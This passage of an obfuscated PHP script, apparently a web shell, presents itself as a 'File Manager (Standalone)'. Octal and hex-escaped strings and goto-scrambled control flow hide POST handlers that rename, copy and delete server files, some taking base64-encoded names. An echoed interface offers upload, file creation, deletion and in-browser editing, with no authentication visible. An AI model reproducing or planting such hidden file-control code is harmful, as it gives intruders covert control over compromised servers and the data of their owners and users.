isset($_POST["\156\141\155\145"]) ? str_replace(["\56\x2e", "\57", "\134"], '', $_POST["\x6e\141\x6d\145"]) : ''; goto zwHJx; QqBDM: case "\162\x65\x6e\x61\x6d\145": goto qDv5z; c__4x: $C_q13 = ["\163\x75\x63\143\x65\163\x73" => true, "\155\145\163\x73\141\x67\145" => "\x49\164\145\x6d\40\162\x65\x6e\141\155\145\144\x20\x73\x75\x63\x63\145\x73\x73\146\165\154\x6c\171\56"]; goto u7Skq; MlL1U: clearstatcache(); goto Hpabs; XE6kH: $jj7As = rtrim($N3FQp, "\57") . "\x2f" . $dQ2Id; goto MlL1U; b4i_l: if (rename($aKQJd, $jj7As)) { goto nYIHB; } goto szw6Z; szw6Z: throw new Exception("\x43\157\x75\x6c\x64\40\156\x6f\x74\40\x72\x65\156\141\155\145\x20\x69\164\145\x6d\x2e\40\x43\x68\145\x63\153\40\x70\x65\x72\155\151\163\x73\151\x6f\156\163\56"); goto McX5I; f_VBz: LYhqm: goto b4i_l; qDv5z: $N3FQp = isset($_POST["\x70\141\164\150"]) ? NY0Tu($_POST["\x70\141\164\x68"]) : __DIR__; goto OpNZ1; e8aB_: throw new Exception("\111\x6e\x76\x61\x6c\151\144\40\x64\141\164\141\40\x66\x6f\162\40\x72\145\156\141\x6d\x69\x6e\x67\56"); goto BGKJV; kcd6W: goto ycSVf; goto V3kxN; BGKJV: cYVP_: goto rcjP2; OpNZ1: $c3CZq = isset($_POST["\x6f\154\x64\137\x6e\x61\x6d\145"]) ? $_POST["\157\x6c\x64\137\x6e\x61\x6d\x65"] : ''; goto cy97s; afm1Y: nYIHB: goto c__4x; izCNd: wEG_d: goto dyB2g; u7Skq: w0Qk5: goto kcd6W; McX5I: goto w0Qk5; goto afm1Y; OClmY: throw new Exception("\123\x6f\x75\x72\x63\x65\x20\151\164\x65\155\x20\x64\x6f\x65\x73\40\x6e\157\x74\40\x65\x78\151\163\x74\40\141\x74\x3a\40" . $aKQJd); goto izCNd; Hpabs: if (file_exists($aKQJd)) { goto wEG_d; } goto OClmY; Wfbq4: if (!(!nqXXk($N3FQp) || empty($c3CZq) || empty($dQ2Id))) { goto cYVP_; } goto e8aB_; cy97s: $dQ2Id = isset($_POST["\156\x65\167\x5f\156\x61\x6d\145"]) ? str_replace(["\56\56", "\57", "\134"], '', $_POST["\156\145\167\x5f\156\141\155\145"]) : ''; goto Wfbq4; rcjP2: $aKQJd = rtrim($N3FQp, "\x2f") . "\x2f" . $c3CZq; goto XE6kH; dyB2g: if (is_writable(dirname($aKQJd))) { goto LYhqm; } goto RetP0; RetP0: throw new Exception("\104\151\162\x65\143\x74\x6f\x72\171\40\151\x73\40\156\x6f\x74\40\x77\162\151\x74\x61\142\154\x65\56"); goto f_VBz; V3kxN: case "\162\x65\x6e\x61\155\x65\x5f\142\x36\x34": goto G1EyE; zMe0b: unlink($Blo_g); goto NVm39; dygEg: yuctS: goto gHSz9; gHSz9: goto ycSVf; goto wB07j; lTcOf: $jj7As = rtrim($N3FQp, "\57") . "\57" . $dQ2Id; goto JSdgQ; T4zwj: $c3CZq = base64_decode($e212L); goto N50oN; W1MkE: jLJ2Q: goto Ry466; RSXTH: if (!(!NQxxK($N3FQp) || empty($c3CZq) || empty($dQ2Id))) { goto jLJ2Q; } goto rYUKY; JSdgQ: $Blo_g = $aKQJd . "\56\164\x78\x74"; goto AiTjC; yAtn_: goto yuctS; goto GDEqX; A8qBB: throw new Exception("\x43\x6f\x75\154\x64\x20\x6e\157\164\40\144\145\x6c\145\x74\145\x20\157\162\151\147\151\156\x61\x6c\40\x66\x69\154\145\56"); goto HyfUt; NVm39: throw new Exception("\x43\157\165\154\144\x20\156\x6f\x74\40\x70\x65\162\x66\x6f\x72\x6d\x20\x66\151\x6e\x61\154\x20\162\x65\156\141\x6d\145\x2e\40\117\x72\x69\x67\x69\x6e\x61\154\x20\146\151\x6c\x65\40\155\141\x79\40\142\x65\40\x72\145\x73\164\157\162\x65\144\56"); goto yAtn_; AiTjC: if (copy($aKQJd, $Blo_g)) { goto F0wA1; } goto df3zx; AXdYk: F0wA1: goto Vw9oZ; Vw9oZ: if (unlink($aKQJd)) { goto wtE6E; } goto UtPI4; N50oN: $dQ2Id = base64_decode($zd7rX); goto RSXTH; VEnf_: copy($Blo_g, $aKQJd); goto zMe0b; GDEqX: f5lol: goto P7IjC; Ry466: $aKQJd = rtrim($N3FQp, "\x2f") . "\x2f" . $c3CZq; goto lTcOf; G1EyE: $N3FQp = isset($_POST["\x70\141\164\150"]) ? NY0tu($_POST["\160\x61\x74\x68"]) : __DIR__; goto zd67f; HyfUt: wtE6E: goto RrQc4; df3zx: throw new Exception("\103\x6f\x75\154\144\x20\156\157\x74\x20\143\x72\145\141\x74\x65\x20\164\x65\155\160\157\x72\141\162\x79\40\143\x6f\x70\x79\56"); goto AXdYk; rYUKY: throw new Exception("\x49\x6e\166\x61\x6c\151\144\x20\x64\141\164\x61\x20\146\157\x72\x20\162\145\x6e\x61\x6d\151\x6e\x67\x2e"); goto W1MkE; UtPI4: unlink($Blo_g); goto A8qBB; P7IjC: $C_q13 = ["\x73\165\x63\x63\145\x73\x73" => true, "\155\x65\x73\163\141\x67\x65" => "\x49\x74\145\x6d\40\x72\145\x6e\141\x6d\x65\x64\40\x73\165\143\143\145\163\163\x66\165\x6c\154\x79\40\165\x73\151\156\x67\x20\x62\x36\x34\40\155\145\164\150\x6f\144\56"]; goto dygEg; FWMcy: $zd7rX = isset($_POST["\156\145\x77\x5f\x6e\x61\155\x65\137\x62\66\x34"]) ? $_POST["\x6e\145\x77\x5f\156\x61\x6d\x65\x5f\142\66\x34"] : ''; goto T4zwj; RrQc4: if (rename($Blo_g, $jj7As)) { goto f5lol; } goto VEnf_; zd67f: $e212L = isset($_POST["\157\154\144\137\x6e\x61\x6d\145\x5f\x62\x36\x34"]) ? $_POST["\x6f\154\x64\137\x6e\x61\x6d\145\x5f\x62\x36\x34"] : ''; goto FWMcy; wB07j: } goto EQarB; ZfuYF: ycSVf: goto OjHR9; EQarB: LToqq: goto ZfuYF; OjHR9: } catch (Exception $kvqcd) { $C_q13 = ["\x73\x75\143\143\145\x73\163" => false, "\155\x65\x73\163\141\147\145" => $kvqcd->getMessage()]; } goto jtolO; jtolO: echo json_encode($C_q13); goto BCDeX; BCDeX: exit; goto wWXaN; t2KH8: echo "\74\41\x44\117\x43\124\131\120\105\40\x68\164\x6d\154\76\12\x3c\x68\164\155\154\40\154\141\x6e\x67\75\42\145\x6e\42\x3e\12\74\x68\145\141\144\x3e\12\40\x20\40\x20\74\x6d\145\164\141\40\x63\150\141\x72\163\145\164\x3d\42\125\x54\x46\x2d\x38\42\76\74\x74\x69\164\154\x65\x3e\x46\x69\154\x65\x20\x4d\x61\x6e\141\x67\x65\x72\74\57\x74\151\164\154\145\x3e\x3c\x6d\x65\x74\x61\x20\x6e\141\155\x65\75\42\166\x69\x65\x77\160\157\162\x74\x22\x20\x63\157\156\x74\x65\x6e\164\75\x22\x77\x69\x64\164\x68\75\144\145\166\151\x63\145\55\167\151\x64\x74\150\x2c\x20\151\x6e\x69\x74\x69\141\x6c\55\x73\143\141\154\x65\75\61\x2e\x30\42\76\12\x20\40\x20\40\74\x73\164\x79\154\x65\76\12\x20\40\40\40\40\x20\40\x20\x3a\162\x6f\157\164\x7b\55\x2d\141\x63\x63\x65\156\x74\55\x63\157\154\157\x72\72\x23\62\62\67\x31\142\x31\73\55\x2d\150\x6f\x76\145\162\x2d\143\x6f\154\157\162\x3a\x23\x31\145\66\65\71\144\73\55\55\144\141\x6e\147\145\x72\x2d\143\157\154\x6f\x72\72\x23\x64\66\x33\x36\63\x38\73\175\12\40\40\40\40\40\40\40\x20\142\157\x64\171\173\146\x6f\x6e\x74\55\146\141\x6d\x69\x6c\171\x3a\x2d\141\160\160\x6c\x65\x2d\163\x79\x73\164\x65\x6d\x2c\102\x6c\x69\156\153\x4d\x61\143\123\171\x73\164\x65\155\106\157\156\x74\x2c\42\x53\x65\x67\157\145\x20\125\x49\x22\x2c\x52\157\x62\x6f\x74\157\x2c\117\170\x79\x67\x65\x6e\55\x53\141\156\163\x2c\x55\x62\x75\x6e\x74\165\54\x43\x61\156\164\x61\162\145\x6c\154\54\42\110\145\154\166\x65\x74\x69\143\141\x20\116\x65\165\x65\x22\54\163\x61\156\163\55\x73\x65\x72\x69\146\x3b\x62\x61\143\x6b\x67\x72\157\165\x6e\144\72\x23\146\60\146\x30\x66\61\x3b\155\x61\x72\147\151\x6e\72\x30\x3b\x7d\12\x20\40\x20\x20\40\40\x20\40\56\143\x6f\156\164\x61\x69\156\145\162\173\x64\151\163\160\154\x61\171\x3a\x66\x6c\x65\x78\x3b\x66\x6c\x65\170\x2d\x64\x69\162\145\x63\164\151\x6f\x6e\72\143\157\x6c\165\155\x6e\x3b\150\x65\x69\147\150\164\x3a\61\x30\x30\166\150\x3b\175\x68\145\x61\144\145\x72\173\x62\141\x63\x6b\x67\162\157\x75\x6e\x64\x3a\43\146\x66\x66\x3b\x70\141\x64\x64\151\156\147\x3a\61\60\160\x78\40\x32\x30\x70\170\73\142\x6f\x72\144\145\162\x2d\x62\x6f\164\164\x6f\x6d\x3a\x31\160\170\x20\x73\157\x6c\151\144\40\43\144\x64\144\73\x64\151\163\160\154\x61\x79\72\x66\x6c\145\x78\73\x6a\165\x73\x74\151\x66\171\x2d\x63\x6f\x6e\164\145\x6e\164\72\x73\160\141\143\x65\55\x62\x65\x74\167\x65\x65\156\x3b\141\x6c\151\x67\x6e\x2d\x69\x74\145\155\x73\72\143\x65\156\x74\145\162\73\146\x6c\x65\x78\55\163\150\162\151\156\153\x3a\x30\73\x7d\155\141\151\x6e\x7b\x66\154\145\170\55\x67\x72\157\167\72\x31\x3b\x70\141\144\x64\151\x6e\x67\x3a\62\60\160\x78\73\157\166\145\x72\x66\154\157\167\x2d\x79\72\141\x75\164\x6f\73\175\x2e\164\157\x6f\x6c\x62\141\162\173\155\141\162\x67\x69\156\x2d\142\x6f\164\x74\x6f\x6d\x3a\61\65\160\170\x3b\144\x69\163\x70\154\141\x79\72\x66\154\x65\x78\73\x66\154\x65\x78\55\167\162\x61\160\72\x77\x72\141\160\x3b\x67\141\x70\x3a\61\x30\160\x78\73\x61\154\151\x67\x6e\x2d\151\x74\145\x6d\x73\72\143\x65\156\x74\145\x72\x3b\175\x2e\160\x61\164\150\x2d\142\x61\162\173\142\141\143\153\147\x72\157\165\156\x64\x3a\43\x66\146\x66\x3b\160\141\144\x64\151\156\147\72\70\x70\x78\40\x31\x32\160\x78\x3b\142\157\162\x64\145\x72\55\x72\141\x64\151\165\163\x3a\64\x70\x78\73\142\157\x72\x64\x65\162\x3a\61\160\170\40\x73\157\154\x69\x64\x20\x23\144\x64\x64\73\146\x6f\x6e\x74\55\x66\141\155\151\154\x79\x3a\x6d\157\x6e\x6f\163\x70\x61\x63\x65\x3b\x66\x6c\x65\170\x2d\147\x72\x6f\167\x3a\61\73\x77\157\162\x64\x2d\142\x72\x65\x61\x6b\72\142\162\x65\141\153\x2d\141\x6c\x6c\73\x7d\x2e\x66\151\154\145\55\x74\x61\x62\x6c\145\173\167\x69\144\164\x68\72\x31\60\x30\45\x3b\x62\x6f\162\144\x65\x72\x2d\x63\x6f\x6c\154\x61\160\163\145\72\x63\x6f\x6c\x6c\141\x70\163\145\x3b\142\x61\143\x6b\147\162\157\x75\x6e\x64\72\x23\146\x66\146\x3b\x74\x61\x62\x6c\x65\55\x6c\141\x79\157\165\x74\x3a\x66\151\x78\145\x64\73\175\56\146\x69\154\x65\x2d\x74\x61\x62\154\145\40\x74\150\x2c\x2e\x66\151\154\x65\55\164\x61\142\154\145\40\164\144\x7b\164\x65\170\164\55\x61\154\151\147\156\72\154\145\x66\164\x3b\142\x6f\162\144\145\x72\x2d\x62\157\x74\x74\x6f\x6d\72\61\160\x78\x20\x73\157\x6c\151\x64\40\x23\x65\x65\145\73\x76\x65\162\164\x69\x63\x61\x6c\55\141\154\151\x67\x6e\x3a\x6d\x69\x64\144\x6c\145\73\x77\157\162\x64\55\167\x72\x61\x70\72\x62\162\145\x61\153\x2d\x77\157\162\x64\73\x7d\x2e\146\151\x6c\x65\55\x74\141\142\x6c\x65\40\164\x68\173\142\141\143\153\147\162\x6f\165\x6e\144\72\x23\x66\71\x66\71\146\x39\73\160\141\x64\144\151\x6e\x67\72\x31\x32\x70\170\40\70\x70\170\x3b\175\56\146\x69\x6c\x65\55\x74\x61\x62\154\x65\40\164\162\72\150\x6f\166\x65\x72\x7b\x62\141\143\x6b\147\162\157\165\156\144\72\43\x66\60\146\x38\146\146\x3b\x7d\56\146\151\x6c\x65\55\x74\141\x62\154\145\40\x74\x68\72\x6e\x74\x68\x2d\x63\150\x69\154\x64\x28\61\51\x2c\x2e\146\x69\x6c\145\55\164\x61\142\x6c\x65\40\x74\144\72\x6e\164\150\55\x63\x68\151\x6c\x64\50\61\x29\x7b\167\151\144\x74\150\72\64\x30\x70\x78\73\x70\141\144\144\x69\156\147\x3a\x31\x32\x70\170\x20\64\x70\170\x20\61\x32\160\x78\40\x31\62\160\x78\73\164\145\x78\x74\x2d\141\154\151\147\x6e\x3a\143\145\156\x74\x65\162\x3b\175\56\x66\x69\x6c\x65\x2d\x74\x61\142\154\x65\x20\164\x68\x3a\156\164\x68\x2d\x63\x68\x69\154\144\x28\x32\51\x2c\x2e\146\x69\x6c\x65\55\164\141\x62\154\x65\x20\164\144\72\x6e\164\x68\x2d\143\x68\x69\x6c\x64\x28\62\51\x7b\167\x69\x64\x74\x68\72\x35\60\x25\73\160\x61\x64\x64\151\156\147\x2d\154\145\x66\x74\72\64\160\170\73\175\x2e\x66\151\x6c\x65\x2d\x74\141\142\x6c\145\40\x74\x68\x3a\156\164\150\55\x63\x68\x69\x6c\144\50\63\51\54\x2e\x66\151\154\x65\x2d\164\141\x62\154\x65\x20\x74\144\72\156\x74\x68\55\143\150\x69\154\x64\50\63\51\x7b\167\151\144\x74\x68\72\61\62\x30\x70\x78\x3b\175\x2e\x66\151\154\145\x2d\164\x61\x62\x6c\145\40\x74\150\72\x6e\164\x68\55\x63\x68\x69\154\144\50\x34\x29\x2c\x2e\146\151\154\x65\55\x74\141\142\x6c\145\40\164\144\x3a\x6e\164\150\x2d\x63\150\151\x6c\144\x28\64\x29\x7b\x77\151\x64\x74\150\x3a\x31\x35\x30\160\170\73\x7d\x2e\x66\151\x6c\145\55\164\141\x62\154\145\x20\164\x68\x3a\x6e\164\150\55\143\150\x69\154\144\x28\65\x29\173\164\145\x78\164\55\141\x6c\x69\x67\x6e\x3a\162\151\x67\150\164\x3b\160\x61\x64\x64\x69\x6e\147\55\x72\151\147\150\x74\72\x31\62\160\x78\73\x7d\56\x61\x63\x74\151\157\x6e\163\x7b\144\x69\163\160\154\x61\x79\72\x66\x6c\x65\x78\x3b\x6a\165\x73\164\x69\x66\171\x2d\x63\157\156\x74\145\x6e\x74\x3a\x66\x6c\x65\170\x2d\145\156\144\x3b\x67\141\x70\72\65\160\170\x3b\175\x2e\x69\164\145\155\55\154\151\156\153\x2c\141\x2e\151\x74\145\x6d\x2d\154\151\156\153\173\164\x65\x78\x74\x2d\x64\145\x63\x6f\x72\141\x74\151\x6f\156\x3a\x6e\157\156\145\x21\151\155\x70\157\162\164\x61\x6e\x74\73\x63\157\x6c\157\x72\72\x76\x61\x72\x28\x2d\x2d\141\143\x63\145\x6e\164\55\x63\157\x6c\157\x72\51\73\x63\x75\162\163\157\162\72\x70\157\x69\156\164\x65\x72\73\175\x2e\151\164\145\155\x2d\154\151\156\153\72\x68\x6f\x76\145\x72\54\141\x2e\x69\164\x65\x6d\55\x6c\x69\x6e\x6b\72\x68\x6f\166\145\162\173\x63\x6f\154\157\x72\72\166\141\x72\x28\55\55\x68\157\166\x65\162\x2d\143\x6f\154\157\162\x29\x3b\x7d\164\x72\x5b\x64\141\164\141\x2d\160\x61\x74\x68\x5d\x7b\143\x75\162\163\x6f\162\x3a\160\157\x69\156\x74\145\x72\73\x7d\x2e\x62\x75\x74\164\157\156\x7b\x62\141\143\x6b\147\162\x6f\165\x6e\144\x3a\x76\x61\162\x28\55\55\x61\x63\x63\145\x6e\164\x2d\143\157\x6c\157\x72\x29\x3b\x63\157\154\x6f\162\x3a\167\x68\x69\x74\145\73\142\x6f\162\144\145\x72\x3a\x6e\157\x6e\x65\x3b\x70\x61\x64\x64\151\x6e\147\x3a\70\160\170\x20\61\62\x70\170\73\142\x6f\162\x64\x65\162\x2d\x72\x61\x64\x69\165\163\x3a\63\160\170\x3b\x63\165\x72\163\x6f\162\72\x70\x6f\x69\156\x74\145\x72\x3b\x66\157\156\x74\x2d\x73\151\x7a\x65\x3a\61\x34\x70\170\x3b\175\x2e\142\x75\164\164\157\156\x2e\x64\x61\156\147\145\x72\x7b\x62\x61\x63\153\147\x72\x6f\165\156\144\x3a\x76\141\x72\50\x2d\55\144\x61\156\x67\145\x72\x2d\143\157\x6c\x6f\x72\x29\73\x7d\43\163\x70\151\156\156\145\x72\173\x64\x69\x73\x70\154\x61\x79\72\x6e\157\x6e\145\73\x7d\x2e\155\157\144\141\154\x2d\x6f\x76\145\x72\x6c\x61\x79\173\144\x69\163\x70\154\x61\x79\72\156\157\x6e\145\73\160\157\163\151\x74\151\157\156\x3a\146\x69\170\x65\x64\73\x74\157\160\x3a\60\73\x6c\x65\x66\x74\x3a\x30\73\167\151\x64\x74\150\x3a\x31\x30\60\45\73\x68\145\151\x67\x68\164\x3a\x31\60\60\45\73\142\141\x63\x6b\x67\162\157\165\x6e\144\x3a\162\147\x62\x61\x28\60\x2c\60\x2c\x30\54\60\x2e\x36\51\73\x7a\x2d\x69\x6e\144\x65\170\x3a\61\60\60\x30\x3b\152\165\x73\x74\x69\146\x79\x2d\143\x6f\156\164\145\x6e\164\72\143\145\156\164\x65\162\x3b\x61\x6c\151\147\156\x2d\x69\164\x65\155\163\72\x63\145\156\x74\145\x72\73\x7d\56\x6d\x6f\144\141\154\55\143\x6f\156\164\145\x6e\164\x7b\x64\151\x73\x70\x6c\141\171\72\146\154\145\x78\73\146\154\145\170\x2d\x64\x69\x72\145\143\x74\151\x6f\156\72\x63\x6f\x6c\165\x6d\x6e\73\142\x61\143\x6b\147\162\157\x75\156\144\x3a\43\146\x66\146\x3b\x70\x61\x64\144\x69\x6e\x67\72\62\x30\160\x78\x3b\142\157\162\144\145\162\55\x72\141\x64\151\165\x73\x3a\x35\x70\170\x3b\x77\x69\144\164\150\x3a\70\x30\x25\x3b\150\145\151\x67\150\164\x3a\70\60\45\73\155\141\x78\55\x77\151\144\164\150\72\71\x30\x30\x70\x78\73\x62\157\x78\x2d\x73\150\x61\x64\x6f\x77\72\60\40\x35\x70\x78\x20\x31\65\160\170\x20\162\x67\142\141\x28\60\54\x30\54\x30\x2c\x30\56\63\51\73\x7d\164\145\170\x74\141\162\x65\141\43\x65\144\x69\x74\157\x72\x7b\146\154\x65\x78\x2d\147\162\x6f\167\x3a\61\73\146\157\x6e\x74\x2d\x66\141\x6d\151\154\171\72\x6d\157\156\x6f\x73\160\141\143\x65\73\x66\x6f\156\164\55\x73\151\x7a\145\72\x31\64\160\170\73\142\157\162\144\x65\162\72\x31\x70\170\x20\163\157\154\151\144\x20\43\x64\144\144\x3b\160\x61\x64\144\151\x6e\x67\72\61\x30\160\170\73\175\xa\x20\x20\40\40\74\57\163\x74\x79\154\145\x3e\12\74\57\x68\145\x61\144\x3e\xa\74\x62\x6f\x64\171\x3e\xa\x20\40\40\40\74\x64\151\166\x20\143\x6c\x61\163\x73\x3d\x22\143\157\156\164\141\151\156\x65\162\x22\76\xa\40\x20\x20\x20\40\40\40\x20\x3c\x68\x65\141\x64\145\x72\76\74\150\x33\76\x46\x69\x6c\x65\40\x4d\x61\156\x61\x67\x65\x72\40\x28\123\x74\141\x6e\144\x61\154\157\156\x65\51\74\57\x68\x33\x3e\74\x2f\150\145\141\x64\145\162\76\xa\40\x20\x20\40\40\40\40\x20\x3c\155\x61\151\x6e\76\xa\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\74\x64\151\166\x20\x63\154\141\x73\x73\75\42\x74\x6f\x6f\154\142\x61\162\x22\76\x3c\x62\165\x74\x74\157\x6e\40\143\x6c\x61\x73\163\x3d\x22\x62\165\x74\164\157\x6e\42\x20\151\144\75\x22\165\160\154\x6f\x61\x64\x42\x74\x6e\42\x3e\xc3\x83\302\242\303\202\xc2\xac\303\202\xc2\x86\xc3\x83\xc2\xaf\303\x82\xc2\270\xc3\x82\302\x8f\40\125\160\x6c\157\x61\144\74\57\142\x75\x74\x74\x6f\156\x3e\x3c\x62\x75\x74\x74\x6f\x6e\40\143\154\141\x73\x73\75\42\x62\x75\164\164\x6f\x6e\42\40\x69\144\x3d\42\156\145\x77\106\x69\x6c\145\x42\164\156\x22\76\xc3\203\302\260\xc3\202\302\x9f\303\x82\xc2\x93\303\202\xc2\204\40\116\x65\167\x20\106\151\154\x65\74\x2f\142\x75\164\x74\x6f\156\76\x3c\x62\x75\164\x74\157\x6e\x20\x63\x6c\141\x73\x73\x3d\42\x62\x75\x74\164\157\x6e\42\x20\151\144\75\42\156\145\x77\106\157\154\x64\x65\x72\x42\164\x6e\x22\x3e\xc3\203\xc2\242\303\202\302\236\xc3\202\302\225\40\x4e\x65\x77\40\106\x6f\x6c\144\145\x72\74\x2f\x62\x75\164\x74\157\x6e\x3e\74\142\x75\x74\164\157\x6e\40\143\x6c\141\x73\x73\75\x22\x62\165\x74\x74\157\156\40\144\141\x6e\x67\x65\x72\42\40\151\144\x3d\x22\x64\145\x6c\x65\x74\x65\102\164\156\42\x3e\303\203\xc2\xb0\303\x82\xc2\237\303\x82\302\x97\303\x82\xc2\x91\xc3\x83\xc2\257\303\202\302\270\xc3\x82\xc2\217\40\x44\145\154\x65\164\x65\x20\123\145\154\145\x63\164\145\144\x3c\x2f\142\x75\x74\x74\157\156\76\74\x64\151\x76\40\151\144\75\42\163\160\x69\156\156\145\162\x22\x3e\xc3\203\xc2\260\xc3\202\302\x9f\xc3\x82\xc2\225\xc3\x82\302\222\74\x2f\x64\x69\166\76\x3c\57\144\151\166\x3e\12\40\x20\40\x20\40\x20\40\x20\40\x20\40\x20\74\144\151\x76\40\x63\x6c\141\x73\x73\75\42\164\x6f\x6f\x6c\142\x61\x72\42\76\74\x64\151\x76\40\143\x6c\141\x73\163\75\42\160\x61\164\150\x2d\x62\141\162\42\x20\151\144\x3d\42\160\141\x74\150\x42\x61\x72\42\76\x2f\x3c\x2f\144\151\166\x3e\x3c\57\x64\x69\166\x3e\12\40\40\x20\x20\x20\x20\x20\40\40\x20\40\40\x3c\164\x61\x62\154\x65\40\x63\154\x61\163\x73\x3d\x22\146\151\x6c\x65\55\164\x61\142\x6c\x65\42\x3e\74\x74\150\145\141\144\76\x3c\164\162\x3e\74\164\150\76\x3c\151\156\160\165\x74\40\x74\x79\160\x65\x3d\x22\x63\x68\x65\143\153\x62\157\x78\42\x20\151\x64\75\x22\x73\x65\x6c\145\x63\x74\x41\154\x6c\42\76\74\57\164\x68\76\x3c\x74\150\x3e\116\141\155\x65\74\x2f\164\x68\76\x3c\x74\150\76\x53\x69\x7a\x65\74\57\164\x68\x3e\74\x74\150\x3e\115\x6f\x64\151\146\151\145\x64\x3c\57\164\x68\76\74\x74\x68\76\x41\143\164\151\x6f\156\x73\74\57\164\150\x3e\x3c\x2f\164\x72\76\74\57\164\x68\x65\141\x64\x3e\74\x74\142\x6f\144\x79\x20\x69\144\75\x22\x66\151\x6c\x65\114\151\163\164\x22\76\74\57\164\142\x6f\x64\x79\x3e\74\x2f\x74\x61\x62\154\x65\x3e\12\40\40\40\40\40\40\40\40\x3c\x2f\x6d\141\151\156\76\12\40\40\x20\40\74\x2f\144\x69\166\x3e\xa\x20\x20\x20\x20\74\144\x69\x76\x20\x69\x64\x3d\x22\145\144\151\164\157\162\x4d\x6f\x64\141\x6c\x22\x20\x63\x6c\x61\163\163\x3d\x22\x6d\157\x64\141\154\x2d\157\166\145\x72\154\141\171\x22\x3e\74\144\151\166\x20\143\x6c\141\163\163\75\x22\155\x6f\x64\141\154\55\x63\x6f\156\x74\145\156\x74\42\76\x3c\x68\63\x20\x69\144\x3d\x22\x65\x64\151\164\157\162\106\x69\154\145\x6e\x61\155\145\42\40\163\164\171\x6c\145\75\42\x6d\141\162\x67\x69\156\x2d\x74\x6f\160\72\60\x3b\42\76\74\x2f\x68\63\76\74\164\x65\170\x74\x61\x72\x65\141\40\151\144\75\x22\145\x64\151\x74\157\x72\x22\x20\163\x70\x65\x6c\x6c\143\x68\x65\x63\153\x3d\x22\x66\141\154\163\145\42\76\x3c\x2f\x74\145\170\x74\x61\162\145\141\x3e\74\144\x69\x76\x20\x73\x74\171\x6c\x65\x3d\42\x6d\141\x72\x67\151\156\x2d\164\157\160\72\61\x30\x70\x78\73\x22\76\74\x62\x75\164\x74\x6f\156\40\143\154\141\x73\163\x3d\x22\142\x75\164\x74\157\x6e\42\40\x69\x64\x3d\42\x73\141\166\x65\102\x74\156\42\x3e\xc3\203\302\260\303\x82\302\x9f\303\x82\xc2\222\xc3\x82\302\276\x20\x53\141\166\x65\40\103\150\141\x6e\147\145\x73\x3c\57\x62\x75\x74\x74\x6f\x6e\x3e\74\x62\x75\164\x74\157\156\40\143\x6c\x61\163\x73\75\x22\x62\165\x74\164\x6f\x6e\42\x20\x6f\156\x63\x6c\151\x63\153\x3d\42\x64\157\x63\165\155\145\x6e\164\56\147\145\164\x45\154\145\x6d\x65\x6e\x74\102\171\111\144\50\47\145\144\x69\164\x6f\162\115\x6f\144\141\154\x27\x29\56\x73\164\x79\154\145\x2e\x64\151\x73\160\154\x61\x79\75\x27\156\157\156\x65\x27\42\76\x43\154\x6f\x73\145\74\x2f\x62\x75\x74\164\x6f\156\x3e\74\x2f\144\x69\166\76\74\x2f\144\151\x76\x3e\x3c\x2f\x64\151\166\76\xa\40\40\40\x20\74\151\x6e\x70\x75\x74\x20\164\x79\160\x65\x3d\x22\x66\x69\x6c\x65\x22\x20\x69\x64\x3d\x22\x68\x69\x64\x64\x65\156\x46\151\154\145\x49\x6e\x70\165\164\x22\x20\155\x75\x6c\164\x69\160\154\x65\x20\x73\164\171\154\145\x3d\x22\144\x69\163\x70\154\x61\x79\x3a\156\157\156\x65\73\42\76\12\x20\40\x20\x20\x3c\x73\x63\x72\x69\x70\164\76\xa\x20\x20\40\x20\144\x6f\143\165\x6d\x65\x6e\x74\56\141\144\144\105\x76\145\156\x74\114\x69\163\x74\145\156\x65\162\50\47\x44\x4f\115\x43\x6f\156\164\x65\x6e\x74\114\x6f\x61\x64\145\144\x27\x2c\x20\50\x29\40\75\x3e\x20\173\12\40\x20\x20\x20\40\40\x20\40\143\x6f\156\x73\x74\x20\123\x54\101\x54\105\40\75\x20\x7b\40\x63\165\x72\162\145\x6e\164\x50\x61\164\150\x3a\40\47"; goto jupxf; Nx60v: echo "\47\x2c\x20\173\40\155\145\x74\x68\157\x64\x3a\40\x27\x50\x4f\x53\x54\47\54\x20\142\x6f\x64\x79\x3a\40\146\157\162\155\104\141\164\x61\40\x7d\51\x3b\x20\143\157\x6e\x73\164\40\162\x65\x73\165\154\164\x20\75\40\141\167\x61\x69\164\x20\162\145\x73\160\157\156\163\x65\56\152\163\x6f\x6e\x28\x29\73\40\151\x66\x20\x28\x21\x72\145\x73\x75\154\x74\56\163\x75\x63\x63\x65\x73\x73\51\40\x74\x68\162\157\167\x20\x6e\x65\x77\40\105\x72\162\x6f\x72\50\162\145\x73\165\154\164\x2e\155\x65\x73\x73\x61\147\145\51\73\x20\151\x66\40\50\x73\x68\157\167\x53\165\143\143\x65\163\x73\x20\46\x26\x20\162\145\163\165\154\x74\56\x6d\x65\163\163\141\147\x65\x29\40\x61\x6c\145\162\164\x28\162\145\163\165\154\x74\x2e\155\x65\163\x73\141\147\x65\51\73\x20\x72\145\x74\165\162\x6e\x20\162\145\x73\165\154\164\73\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x7d\x20\x63\141\164\143\x68\x20\x28\145\x72\x72\x6f\x72\x29\x20\173\x20\x61\x6c\x65\162\164\50\140\x45\162\162\157\162\72\40\44\x7b\145\x72\x72\x6f\162\56\155\145\x73\x73\141\x67\x65\x7d\x60\x29\x3b\x20\x63\157\x6e\163\157\x6c\x65\56\x65\162\162\x6f\x72\x28\42\x46\x75\154\x6c\x20\162\145\x73\160\x6f\156\163\145\x3a\x22\54\40\x65\162\x72\157\162\x2e\x72\145\x73\160\x6f\156\163\145\x29\73\40\x72\x65\x74\165\x72\156\40\x6e\165\x6c\x6c\73\40\175\x20\x66\x69\156\141\x6c\x6c\171\x20\x7b\40\x64\x6f\155\56\x73\x70\x69\x6e\x6e\145\162\x2e\163\164\171\154\x65\x2e\x64\x69\163\x70\154\x61\171\x3d\x27\x6e\157\156\x65\x27\73\40\x7d\xa\x20\40\x20\x20\40\x20\40\40\175\12\40\40\x20\x20\x20\x20\x20\40\146\x75\x6e\x63\164\151\x6f\x6e\40\162\x65\x6e\x64\145\x72\50\51\40\x7b\12\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\143\157\x6e\x73\164\x20\146\157\x72\155\104\141\164\x61\x20\x3d\x20\156\x65\x77\x20\106\157\162\x6d\x44\x61\164\x61\x28\51\x3b\40\146\x6f\162\x6d\104\x61\x74\141\56\x61\160\160\145\156\x64\x28\47\160\141\164\x68\47\54\x20\123\x54\x41\x54\105\56\143\165\162\x72\x65\156\164\x50\x61\164\x68\x29\73\xa\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\x61\x70\151\x43\x61\x6c\154\50\47\x6c\151\16